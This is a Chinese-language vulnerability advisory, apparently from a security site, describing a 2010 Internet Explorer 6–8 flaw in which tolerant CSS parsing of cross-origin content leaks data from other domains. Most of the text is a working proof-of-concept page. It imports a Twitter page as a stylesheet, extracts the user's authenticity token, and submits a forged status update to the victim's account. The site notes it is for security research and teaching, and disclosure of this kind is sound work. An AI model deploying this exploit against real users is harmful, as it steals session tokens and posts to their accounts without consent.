Microsoft IE CSS处理跨域信息泄露漏洞

发表于 2010年09月10日
Vulndb

发布时间：2010-09-06
影响版本：IE6.0、IE7.0、IE8.0

漏洞描述：Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

Internet Explorer允许包含跨来源的内容，且CSS解析器在处理内容时是容错的。如果用户在页面中注入某些内容并以样式表的方式导入，就可以获得其他域中网页的敏感信息。

<*参考

http://secunia.com/advisories/41271/
http://marc.info/?l=full-disclosure&m=128355357627660&q=p5

*>
测试方法：

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

<html>
<head>
<style>
@import url("http://twitter.com/scarybeaststest");
</style>
<script>
function loaded() {
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
if (i == -1) {
alert('Unable to locate authenticity token... fail will commence.');
} else {
document.getElementById('stuff').innerText = 'READY... press button to post to your twitter account.';
}
borrowed = borrowed.substring(i + 22);
i = borrowed.indexOf("'");
if (i == -1) {
alert('WTF?');
}
borrowed = borrowed.substring(0, i);
document.getElementById('here').value = borrowed;
}
</script>
</head>
<body onload="loaded()">
<button onclick="document.getElementById('form').submit()">CLICK TO POST TO YOUR TWITTER ACCOUNT - THIS COULD BE AUTOMATED</button>
<p>
<form id ="form" action="http://twitter.com/status/update" method="POST">
<input size="80" type="text" name="status" value="@scarybeasts would like the IE CSS bug fixed"/>
<p>
<input size="60" type="text" id="here" name="authenticity_token" value="value pending"/>
</form>
It will say READY here if it worked... then press the button with tweet text of your choice ：)
<div id="stuff"></div>
</body>
</html>